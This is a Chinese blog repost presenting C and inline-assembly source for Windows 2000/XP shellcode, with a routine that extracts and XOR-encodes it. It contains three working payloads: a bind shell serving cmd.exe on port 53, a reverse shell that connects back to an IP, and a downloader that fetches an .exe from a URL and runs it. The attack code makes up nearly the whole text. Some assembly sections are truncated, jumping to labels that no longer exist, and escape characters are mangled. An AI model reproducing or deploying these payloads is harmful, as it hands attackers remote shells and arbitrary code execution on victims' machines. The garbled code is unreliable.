一种提取shellcode的方法

现在的位置: 首页 > 综合 > 正文

一种提取shellcode的方法

2013年01月09日 ⁄ 综合 ⁄ 共 17888字 ⁄ 字号小中大 ⁄ 评论关闭

看到论坛里有网友问如何编写shellcode，虽然安全文摘里有不少关于shellcode的文章，但是都是一些现成的代码，很少有详细的讲解如何提取shellcode的文章，前几日听eyas说cnhonker有一些这方面的文章，就转过来了，算是给和我一样的初学者的一些资料吧，单步跟踪一下，会清楚很多。（提取出来的shellcode为eyas以前写过的）

作者:lion@cnhonker.net
bind port shellcode for win2k/xp

#include
#include
#include

#pragma comment(lib, "ws2_32")

void printsc(unsigned char *sc, int len);

unsigned char sc[0x1000];

unsigned char buff[]=
"GetProcAddressx0"

// ----- 3 -----
"createProcessAx0" // [edi-0x20]
"ExitThreadx0" // [edi-0x1c]
// "ExitProcessx0" // [edi-0x1c]
"LoadLibraryAx0" // [edi-0x18]

// -------------
"ws2_32x0"

// ----- 5 -----
"WSASocketAx0" // [edi-0x14]
"bindx0" // [edi-0x10]
"listenx0" // [edi-0x0c]
"acceptx0" // [edi-0x08]
"closesocketx0"; // [edi-0x04]

DWORD addr;
void shellcode();

void main()
{

unsigned char temp;
unsigned char *shellcodefnadd, *start;
int k;
char *fnendstr = "x90x90x90x90x90x90x90x90x90";
#define FNENDLONG 0x08
WSADATA wsa;
int all, i;
//int port = 53;

WSAStartup(MAKEWORD(2,2),&wsa);

memset(sc, 0, sizeof(sc));

// 定位shellcodefnlock的汇编代码
shellcodefnadd = (unsigned char *)shellcode;
temp = *shellcodefnadd;
if(temp == 0xe9)
{
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}

// 定位shellcode的起始地址
for(k=0; k <= 0x500; ++k)
{
if(memcmp(shellcodefnadd+k, fnendstr, FNENDLONG)==0) break;
}

// shellcodefnadd+k+8 是得到的shellcodefnlock汇编代码地址
start = shellcodefnadd+k+8;

// 定位 shellcode 长度
for(k=0; k <= 0x500; ++k)
{
if(memcmp(start+k, fnendstr, FNENDLONG) == 0) break;
}

//printf("%xn", htons(port));

all = k + sizeof(buff) - 1;
printf("%d + %d = %dn", k, sizeof(buff), all);

memcpy(sc, start, k);
memcpy(&sc[k],buff, sizeof(buff));
addr = (DWORD)&sc;

for(k=0; k <= all-3; ++k)
{
if(sc[k] == 0x00 && sc[k+1] == 0x35) printf("port offset: %drn", k);
if(sc[k] == 0x7F && sc[k+3] == 0x01) printf("ip offset: %drnn", k);
}

k = all - 23;
memcpy(sc+8, &k, 2);

// ================== print ======================
// decode 长度为23字节
printsc (sc, 23);

// xor
for(i=23; i < all; i++)
{
sc ^= 0x99;
}

printsc(sc+23, k);

__asm
{
jmp addr
}

// shellcode();

Sleep(10000);
return;
}

void printsc(unsigned char *sc, int len)
{
int l;

// 打印普通shellcode
for(l = 0; l < len; l++)
{
if(l == 0) printf(""");
if((l%16 == 0) && (l != 0))printf(""n"");

printf("/x%.2X", sc[l]);

if(l == len-1) printf(""");
}

printf("nn");

/*
// 打印 iis unicode shellcode
for(l = 0; l < len; l += 2)
{
if(l == 0) printf(""");
if((l%16 == 0) && (l != 0))printf(""n"");

printf("%%u%.2X%.2X", sc[l+1], sc[l]);

if(l == len-2) printf(""");
}
*/
}

void shellcode()
{
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
}

__asm
{
/* --------------------解码开始---------------------- */

jmp decode_end

decode_start:

pop edx // 得到解码开始位置 esp -> edx
dec edx
xor ecx,ecx
mov cx,0x17D // shellcode 长度 0x175+1 = 0x176 = 373 bytes

decode_loop:

xor byte ptr [edx+ecx], 0x99
loop decode_loop
jmp decode_ok

decode_end:

call decode_start

decode_ok:

/* --------------------解码结束---------------------- */

jmp end

start:
pop edx // 指令表起始地址存放在 esp -> edx

// ===== 从 PEB 中取得KERNEL32.DLL的起始地址 =====
//
// 输入:
// edx => 指令表起始地址 (不需要)
//
// 输出:
// eax => kernel32.dll起始地址
// edx => 指令表起始地址

mov eax, fs:0x30 // PEB
mov eax, [eax + 0x0c] // PROCESS_MODULE_INFO
mov esi, [eax + 0x1c] // InInitOrder.flink
lodsd
mov eax,[eax+8]

// ========== 定位GetProcAddress的地址 ==========
//
// 输入:
// eax => kernel32.dll起始地址
// edx => 指令表起始地址
//
// 输出:
// ebx => kernel32.dll起始地址
// eax => GetProcAddress地址
// edx => 指令表起始地址

mov ebx,eax // 取kernel32.dll的起始地址
mov esi,dword ptr [ebx+0x3C]
mov esi,dword ptr [esi+ebx+0x78]
add esi,ebx
mov edi,dword ptr [esi+0x20]
add edi,ebx
mov ecx,dword ptr [esi+0x14]
xor ebp,ebp
push esi

search_GetProcAddress:
push edi
push ecx
mov edi,dword ptr [edi]
add edi,ebx // 把输出函数名表起始地址存人edi
mov esi,edx // 指令表起始地址存入esi
//mov ecx,0Eh // 函数getprocAddress长度为0Eh
push 0xE
pop ecx
repe cmps byte ptr [esi],byte ptr [edi]
je search_GetProcAddress_ok

pop ecx
pop edi
add edi,4
inc ebp
loop search_GetProcAddress

search_GetProcAddress_ok:
pop ecx
pop edi
pop esi
mov ecx,ebp
mov eax,dword ptr [esi+24h]
add eax,ebx
shl ecx,1
add eax,ecx
xor ecx,ecx
mov cx,word ptr [eax]
mov eax,dword ptr [esi+1Ch]
add eax,ebx
shl ecx,2
add eax,ecx
mov eax,dword ptr [eax]
add eax,ebx

// ============ 调用函数解决api地址 ============
//
// 输入:
// ebx =>kernel32.dll起始地址
// eax =>GetProcAddress地址
// edx =>指令表起始地址
//
// 输出:
// edi =>函数地址base addr
// esi =>指令表当前位置
// edx =>GetProcAddress 地址

mov edi,edx
mov esi,edi
add esi,0xE // 0xE 跳过1个字符串"GetProcAddress"

// ============ 解决kernel32.dll中的函数地址 ============
mov edx,eax // 把GetProcAddress 地址存放在edx
push 3 // 需要解决的函数地址的个数硬编码可以节省两个字节
pop ecx
call locator_api_addr

// ============ 加载ws2_32.dll ============
//locator_ws2_32:

add esi,0xd // 0xd即"ws2_32"前面那个字符串的长度，硬编码可以节省两个字节
push edx // edx是GetProcAddress 地址
push esi // 字符"ws2_32"地址
call dword ptr [edi-4] // LoadLibraryA

// ============ 解决ws2_32中的函数地址 ============
pop edx
mov ebx,eax // 将ws2_32.dll起始地址存放在ebx
//mov ecx,4
push 5 // 函数个数
pop ecx // 函数个数 <-这种方式省两个字节
call locator_api_addr

// ============ create socket ============
push eax
push eax
push eax
push eax // IPPROTO_IP 0
push 1 // SOCK_STREAM
push 2 // AF_INET
call dword ptr [edi-0x14] // WSASocketA

mov ebx,eax // socket保存在ebx

// ============ 填充sockaddr_in结构 ============
mov dword ptr [edi],0x35000002 // 2= AF_INET 0x35 = 53
xor eax, eax
mov dword ptr [edi+4], eax // ADDR_ANY

// ============ bind ============
push 0x10 // sizeof(sockaddr_in)
push edi // sockaddr_in address
push ebx // socket
call dword ptr [edi-0x10] // bind(socket, &address, sizof(address));

// ============ listen ============
push 0x1 // 1
push ebx // socket
call dword ptr [edi-0xc] // listen(socket, 1);

// ============ accept ============
push eax // 0
push eax // 0
push ebx // socket
call dword ptr [edi-0x8] // accept(socket, &address, sizeof(address));

mov edx,eax

// ============ ============
sub esp,0x44
mov esi,esp // 取si的起始地址
xor eax, eax
push 0x10 // 0x11 * 4 = 0x44 bytes
pop ecx

zero_si:
mov dword ptr [esi+ecx*4],eax
loop zero_si

// ============ fill si struct,si存放在stack中 ============
mov dword ptr [esi+0x38],edx // si.hStdInput soskcet
mov dword ptr [esi+0x3C],edx // hStdOutput soscket
mov dword ptr [esi+0x40],edx // hStdError socket
//mov word ptr [esi+0x30],0 // wShowWindow
mov word ptr [esi+0x2c],0x101 // dwFlags

// ============ createProcessA ============
lea eax, dword ptr [edi+0x10]
push eax // pi
push esi // si
xor ecx, ecx
push ecx // lpCurrentDirectory
push ecx // lpEnvironment
push ecx // dwCreationFlags
push 1 // bInheritHandles
push ecx // lpThreadAttributes
push ecx // lpProcessAttributes
mov dword ptr [edi+0x3C], 0x00646D63// 0x63='c' 0x6d='m' 0x64='d'
lea eax, dword ptr [edi+0x3C]
push eax // lpCommandLine
push ecx // lpApplicationName NULL
call dword ptr [edi-0x20] // createProcessA

// ============ If no error occurs, connect returns zero. ===========
// closesocket
push edx
call dword ptr [edi-0x4]

// closesocket
push ebx
call dword ptr [edi-0x4]

// ExitProcess
push eax
call dword ptr [edi-0x1c] // ExitProcess

// ============ 解决api地址的函数 ============
//
// 输入参数:
// ecx 函数个数
// edx GetProcAddress 地址
// ebx 输出函数的dll起始地址
// esi 函数名表起始地址
// edi 保存函数地址的起始地址

locator_api_addr:

locator_space:
xor eax, eax
lodsb
test eax, eax // 寻找函数名之间的空格x00
jne locator_space

push ecx
push edx
push esi // 函数名
push ebx // 输出函数的dll起始地址
call edx
pop edx
pop ecx
stos dword ptr [edi]
loop locator_space
xor eax, eax
ret

// ================== 结束调用 ====================
end:
call start
}

__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
}

return;
}

connect back shellcode for win2k/xp

#include
#include
#include

#pragma comment(lib, "ws2_32")

void printsc(unsigned char *sc, int len);

unsigned char sc[0x1000];

unsigned char buff[]=
"GetProcAddressx0"
// ----- 3 -----
"createProcessAx0" // [edi-0x18]
"ExitThreadx0" // [edi-0x14]
// "ExitProcessx0" // [edi-0x14]
"LoadLibraryAx0" // [edi-0x10]

// -------------
"ws2_32x0"

// ----- 3 -----
"WSASocketAx0" // [edi-0x0c]
"connectx0" // [edi-0x08]
"closesocketx0"; // [edi-0x04]

DWORD addr;
void shellcode();

void main()
{

unsigned char temp;
unsigned char *shellcodefnadd, *start;
int k;
char *fnendstr = "x90x90x90x90x90x90x90x90x90";
#define FNENDLONG 0x08
WSADATA wsa;
int all, i;

WSAStartup(MAKEWORD(2,2),&wsa);

memset(sc, 0, sizeof(sc));

// 定位shellcodefnlock的汇编代码
shellcodefnadd = shellcode;
temp = *shellcodefnadd;
if(temp == 0xe9)
{
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}

// 定位shellcode的起始地址
for(k=0; k <= 0x500; ++k)
{
if(memcmp(shellcodefnadd+k, fnendstr, FNENDLONG)==0) break;
}

// shellcodefnadd+k+8 是得到的shellcodefnlock汇编代码地址
start = shellcodefnadd+k+8;

// 定位 shellcode 长度
for(k=0; k <= 0x500; ++k)
{
if(memcmp(start+k, fnendstr, FNENDLONG) == 0) break;
}

//printf("%xn", htons(port));

all = k + sizeof(buff) - 1;
printf("%d + %d = %dn", k, sizeof(buff), all);

memcpy(sc, start, k);
memcpy(&sc[k],buff, sizeof(buff));
addr = (DWORD)&sc;

for(k=0; k <= all-3; ++k)
{
if(sc[k] == 0x00 && sc[k+1] == 0x35) printf("port offset: %drn", k);
if(sc[k] == 0x7F && sc[k+3] == 0x01) printf("ip offset: %drnn", k);
}

k = all - 23;
memcpy(sc+8, &k, 2);

// ================== print ======================
// decode 长度为23字节
printsc (sc, 23);

// xor
for(i=23; i < all; i++)
{
sc ^= 0x99;
}

printsc(sc+23, k);

__asm
{
jmp addr
}

return;
}

void printsc(unsigned char *sc, int len)
{
int l;

// 打印普通shellcode
for(l = 0; l < len; l++)
{
if(l == 0) printf(""");
if((l%16 == 0) && (l != 0))printf(""n"");

printf("/x%.2X", sc[l]);

if(l == len-1) printf(""");
}

printf("nn");

/*
// 打印 iis unicode shellcode
for(l = 0; l < len; l += 2)
{
if(l == 0) printf(""");
if((l%16 == 0) && (l != 0))printf(""n"");

printf("%%u%.2X%.2X", sc[l+1], sc[l]);

if(l == len-2) printf(""");
}
*/
}

void shellcode()
{
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
}

__asm
{
/* --------------------解码开始---------------------- */

jmp decode_end

decode_start:

pop edx // 得到解码开始位置 esp -> edx
dec edx
xor ecx,ecx
mov cx,0x15D // 要解码shellcode长度
decode_loop:

xor byte ptr [edx+ecx], 0x99
loop decode_loop
jmp decode_ok

decode_end:

call decode_start

decode_ok:
/* --------------------解码结束---------------------- */

jmp end

start:
pop edx // 指令表起始地址存放在 esp -> edx

// ===== 从 PEB 中取得KERNEL32.DLL的起始地址 =====
//
// 输入:
// edx => 指令表起始地址 (不需要)
//
// 输出:
// eax => kernel32.dll起始地址
// edx => 指令表起始地址

mov eax, fs:0x30 // PEB
mov eax, [eax + 0x0c] // PROCESS_MODULE_INFO
mov esi, [eax + 0x1c] // InInitOrder.flink
lodsd
mov eax,[eax+8]

mov ebx,eax // 取kernel32.dll的起始地址 DLL Base Address
mov esi,dword ptr [ebx+3Ch] // esi = PE header offset
mov esi,dword ptr [esi+ebx+78h]
add esi,ebx // esi = exports directory table
mov edi,dword ptr [esi+20h]
add edi,ebx // edi = name pointers table
mov ecx,dword ptr [esi+14h] // ecx = number of name pointers
xor ebp,ebp
push esi

pop ecx
pop edi
add edi,4
inc ebp
loop search_GetProcAddress

mov edi,edx
mov esi,edi
add esi,0xE // 0xE 跳过1个字符串"GetProcAddress"

// ============ 解决kernel32.dll中的函数地址 ============
mov edx,eax // 把GetProcAddress 地址存放在edx
//mov ecx,0x5 // 需要解决的函数地址的个数
push 0x3
pop ecx
call locator_api_addr

// ============ 加载ws2_32.dll ============
//locator_ws2_32:

//xor eax,eax // locator_api_addr返回后eax为0
//lods //
//test eax,eax // ->定位字符串"ws2_32"的起始地址
//jne locator_ws2_32 //
add esi,0xd // 0xd即"ws2_32"前面那个字符串的长度，
// 硬编码可以节省两个字节
push edx // edx是GetProcAddress 地址
push esi // 字符"ws2_32"地址
call dword ptr [edi-4] // LoadLibraryA

// ============ 解决ws2_32中的函数地址 ============
pop edx
mov ebx,eax // 将ws2_32.dll起始地址存放在ebx
//mov ecx,4 // 函数个数
push 3
pop ecx // 函数个数 <-这种方式省两个字节
call locator_api_addr

// ============ ============
//xor eax,eax // locator_api_addr返回后eax为0
//init si
sub esp,0x44
mov esi,esp // 取si的起始地址
push 0x10 // 0x11 * 4 = 0x44 bytes
pop ecx

zero_si:
mov dword ptr [esi+ecx*4],eax
loop zero_si

// ============ create socket ============
push eax
push eax
push eax
push eax // IPPROTO_IP 0
push 1 // SOCK_STREAM
push 2 // AF_INET
call dword ptr [edi-0xc] // WSASocket
mov ebx,eax // socket保存在ebx

// ============ fill si struct,si存放在stack中 ============
mov dword ptr [esi+0x38],ebx // si.hStdInput soskcet
mov dword ptr [esi+0x3C],ebx // hStdOutput soscket
mov dword ptr [esi+0x40],ebx // hStdError socket
//mov word ptr [esi+0x30],0 // wShowWindow
mov word ptr [esi+0x2c],0x101 // dwFlags

// ============ createProcessA ============
lea eax,[edi+0x10]
push eax // pi
push esi // si
xor eax,eax
push eax // lpCurrentDirectory
push eax // lpEnvironment
push eax // dwCreationFlags
push 1 // bInheritHandles
push eax // lpThreadAttributes
push eax // lpProcessAttributes
lea edx,[edi+0x3c]
mov dword ptr [edx], 0x00646D63 // 0x63='c' 0x6d='m' 0x64='d'
push edx // lpCommandLine
push eax // lpApplicationName NULL
call dword ptr [edi-0x18] // createProcessA

// ============ 填充sockaddr_in结构 ============
mov dword ptr [edi],0x35000002 // 2= AF_INET 0x35 = 53
mov dword ptr [edi+0x4],0x0100007F // ip addr,default is 127.0.0.1

// ============ connect back ============
push 0x10 // sizeof(sockaddr_in)
//lea eax,[edi]
//push eax // sockaddr_in address
push edi // sockaddr_in address
push ebx // socket
call dword ptr [edi-0x8] // connect

// ============ If no error occurs, connect returns zero. ============
// closesocket
push ebx
call dword ptr [edi-0x4]

// ExitProcess
push eax
call dword ptr [edi-0x14] // ExitProcess

locator_api_addr:

locator_space:
xor eax,eax
lodsb
test eax,eax // 寻找函数名之间的空格x00
jne locator_space

push ecx
push edx
push esi // 函数名
push ebx // 输出函数的dll起始地址
call edx
pop edx
pop ecx
stos dword ptr [edi]
loop locator_space
xor eax,eax
ret

// ================== 结束调用 ====================
end:
call start
}

__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
}

return;
}

download url file shellcode for win2k/xp

#include
#include

void printsc(unsigned char *sc, int len);

unsigned char sc[0x1000];

unsigned char buff[]=
"GetProcAddressx0"
// ----- 4 -----
"GetSystemDirectoryAx0" // [edi-0x14]
"WinExecx0" // [edi-0x10]
"ExitThreadx0" // [edi-0x0c]
// "ExitProcessx0" // [edi-0x0c]
"LoadLibraryAx0" // [edi-0x08]

// -------------
"urlmonx0"

// ----- 1 -----
"URLDownloadToFileAx0"; // [edi-0x04]

unsigned char url[]=
" http://127.0.0.1/test.exex80";; // 要下载的文件url地址

DWORD addr;
void shellcode();

void main()
{

unsigned char temp;
unsigned char *shellcodefnadd, *start;
int k;
char *fnendstr = "x90x90x90x90x90x90x90x90x90";
#define FNENDLONG 0x08
int all, i;

memset(sc, 0, sizeof(sc));

// 定位shellcodefnlock的汇编代码
shellcodefnadd = shellcode;
temp = *shellcodefnadd;
if(temp == 0xe9)
{
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}

// 定位shellcode的起始地址
for(k=0; k <= 0x500; ++k)
{
if(memcmp(shellcodefnadd+k, fnendstr, FNENDLONG)==0) break;
}

// shellcodefnadd+k+8 是得到的shellcodefnlock汇编代码地址
start = shellcodefnadd+k+8;

// 定位 shellcode 长度
for(k=0; k <= 0x500; ++k)
{
if(memcmp(start+k, fnendstr, FNENDLONG) == 0) break;
}

// printf("%xn", htons(port));

all = k + sizeof(buff)-1 + sizeof(url);
printf("%d + %d + %d = %dn", k, sizeof(buff)-1, sizeof(url), all);

i = k-23+sizeof(buff)-1;

printf("解包大小: %d + %d = %d = %Xn", k-23, sizeof(buff-1), i, i);

memcpy(sc, start, k);
memcpy(&sc[k], buff, sizeof(buff)-1);
memcpy(&sc[k+sizeof(buff)-1], url, sizeof(url));

addr = (DWORD)&sc;

memcpy(sc+8, &i, 2);

// ================== print ======================
// decode 长度为23字节
printsc (sc, 23);

// xor
for(i=23; i < k+sizeof(buff)-1; i++)
{
sc ^= 0x99;
}

printsc(sc+23, k-23);
printsc(sc+k, sizeof(buff)-1);
printsc(sc+k+sizeof(buff)-1, sizeof(url));

// printsc(sc, k);

// printsc(buff, sizeof(buff)-1);
// printsc(url, sizeof(url));

// printf("n%sn", url);

__asm
{
jmp addr
}

return;
}

void printsc(unsigned char *sc, int len)
{
int l;

// 打印普通shellcode
for(l = 0; l < len; l++)
{
if(l == 0) printf(""");
if((l%16 == 0) && (l != 0))printf(""n"");

printf("/x%.2X", sc[l]);

if(l == len-1) printf(""");
}

printf("nn");

/*
// 打印 iis unicode shellcode
for(l = 0; l < len; l += 2)
{
if(l == 0) printf(""");
if((l%16 == 0) && (l != 0))printf(""n"");

printf("%%u%.2X%.2X", sc[l+1], sc[l]);

if(l == len-2) printf(""");
}
*/
}

void shellcode()
{
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
}

__asm
{
/* --------------------解码开始---------------------- */

jmp decode_end

decode_start:

pop edx // 得到解码开始位置 esp -> edx
dec edx
xor ecx,ecx
mov cx,0x13D // 要解码的长度

decode_loop:

xor byte ptr [edx+ecx], 0x99
loop decode_loop
jmp decode_ok

decode_end:

call decode_start

decode_ok:

/* --------------------解码结束---------------------- */

jmp end

start:
pop edx // 指令表起始地址存放在 esp -> edx

// ===== 从 PEB 中取得KERNEL32.DLL的起始地址 =====
//
// 输入:
// edx => 指令表起始地址 (不需要)
//
// 输出:
// eax => kernel32.dll起始地址
// edx => 指令表起始地址

mov eax, fs:0x30 // PEB
mov eax, [eax + 0x0c] // PROCESS_MODULE_INFO
mov esi, [eax + 0x1c] // InInitOrder.flink
lodsd
mov eax,[eax+8]

pop ecx
pop edi
add edi,4
inc ebp
loop search_GetProcAddress

search_GetProcAddress_ok:
pop ecx
pop edi
pop esi
mov ecx,ebp
mov eax,dword ptr [esi+0x24]
add eax,ebx
shl ecx,1
add eax,ecx
xor ecx,ecx
mov cx,word ptr [eax]
mov eax,dword ptr [esi+0x1C]
add eax,ebx
shl ecx,2
add eax,ecx
mov eax,dword ptr [eax]
add eax,ebx

mov edi,edx
mov esi,edi
add esi,0xE // 0xE 跳过1个字符串"GetProcAddress"

// ============ 解决kernel32.dll中的函数地址 ============
mov edx,eax // 把GetProcAddress 地址存放在edx
//mov ecx,0x5 // 需要解决的函数地址的个数
push 0x4
pop ecx
call locator_api_addr

// ============ 加载urlmon.dll ============
//locator_urlmon:

//xor eax,eax // locator_api_addr返回后eax为0
//lods //
//test eax,eax // ->定位字符串"urlmon"的起始地址
//jne locator_urlmon //
add esi,0xd // 0xd即"urlmon"前面那个字符串的长度，
// 硬编码可以节省两个字节
push edx // edx是GetProcAddress 地址
push esi // 字符"urlmon"地址
call dword ptr [edi-4] // LoadLibraryA

// ============ 解决urlmon中的函数地址 ============
pop edx
mov ebx,eax // 将urlmon.dll起始地址存放在ebx
//mov ecx,1 // 函数个数
push 0x1
pop ecx // 函数个数 <-这种方式省两个字节
call locator_api_addr

// ============ 取得url起始地址 ============
add esi, 0x13 // URLDownloadToFileA 的长度为0x13
push esi
searchurl:
inc esi

cmp byte ptr [esi], 0x80
jne searchurl

xor byte ptr [esi], 0x80 // 把0x80 改成 0x00 结束字符串

pop esi // 取得url 的起始地址

// 取得一些空间存放系统路径
sub esp, 0x20
mov ebx, esp

// 调用GetSystemDirectoryA获得系统路径
push 0x20
push ebx
call [edi-0x14]

// eax 为系统路径的长度
// 调用URLDownloadToFileA下载文件并保存成a.exe
mov dword ptr [ebx+eax], 0x652E615C // "a.e"
mov dword ptr [ebx+eax+0x4], 0x00006578 // "xe"
xor eax, eax // 清0
push eax
push eax
push ebx
push esi
push eax
call [edi-0x4]

// 调用WinExec执行文件
mov ebx, esp
push eax
push ebx
call [edi-0x10]

// ExitpProcess
push eax
call dword ptr [edi-0x0c] // ExitProcess

locator_api_addr:

locator_space:
xor eax,eax
lodsb
test eax,eax // 寻找函数名之间的空格x00
jne locator_space

push ecx
push edx
push esi // 函数名
push ebx // 输出函数的dll起始地址
call edx
pop edx
pop ecx
stos dword ptr [edi]
loop locator_space
xor eax,eax
ret

// ================== 结束调用 ====================
end:
call start
}

__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
}

return;
}

【上篇】Ubuntu下进行Java开发的相关软件配置
【下篇】什么是module 以及如何写一个module

作者: bowed

该日志由 bowed 于11年前发表在综合分类下，最后更新于 2013年01月09日.
转载请注明: 一种提取shellcode的方法 | 学步园 +复制链接

抱歉!评论已关闭.

学步园

一种提取shellcode的方法

作者: bowed

书签

最新文章New

本站推荐

返回首页